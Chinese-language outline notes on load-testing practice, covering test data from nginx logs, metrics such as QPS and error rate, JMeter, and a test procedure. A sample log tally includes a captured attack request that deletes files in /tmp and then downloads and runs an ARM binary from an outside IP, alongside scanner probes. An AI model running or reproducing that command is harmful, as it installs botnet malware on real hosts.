- 需求分析与测试设计(性能需求目标+业务模型拆解)
-
-
-
-
-
-
-
-
-
- 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
-
- 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
-
- $ cat access.log | awk ‘{print $7}’ | sort | uniq -c | sort -nr | head -15
- 4709 /sso/register
- 4703 /sso/login
- 157 400
- 139 /
- 8 http://www.baidu.com/cache/global/img/gs.gif
- 5 /index.php
- 4 mstshash=Administr"
- 4 /license.txt
- 4 ip.ws.126.net:443
- 4 "
- 2 /sso/getAuthCode?telephone=17138134641
- 2 /sso/getAuthCode?telephone=17127460936
- 2 /shell?cd+/tmp;+rm±rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
- 2 /robots.txt
- 2 /phpmyadmin/
- 上下关联:
- - 1.每秒请求数(QPS)
- - 2.请求响应时间(最大,最小,平均值)
- - 3.错误率
- - 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
- - 5.压测过程接口功能是否正常
- - 6.不同性能测试方式下指标预期是否有差异
- - 压测场景:单接口/复杂事物——>场景构造
- - 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
- - 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
- - 二次开发需求:Jmeter开源插件化思想,支持Thrift
- - 协议支持:Dubbo等多种协议,可以快速平台化
- - 问题支持:开放社区,广泛使用
- - 1、测试前环境检查:记录机器参数
- - 2、起压:根据被压情况,调节并发量到合适情况
- - 3、查看记录各项性能指标
- - nginx日志查看每秒请求数
- - 查看nginx错误请求
- - 查看机器参数:cpu idel、mem等
- - 查看db、cache等数据是否写入正常
- - 访问接口,查看功能是否正常
原文链接
获取更多技术文章分享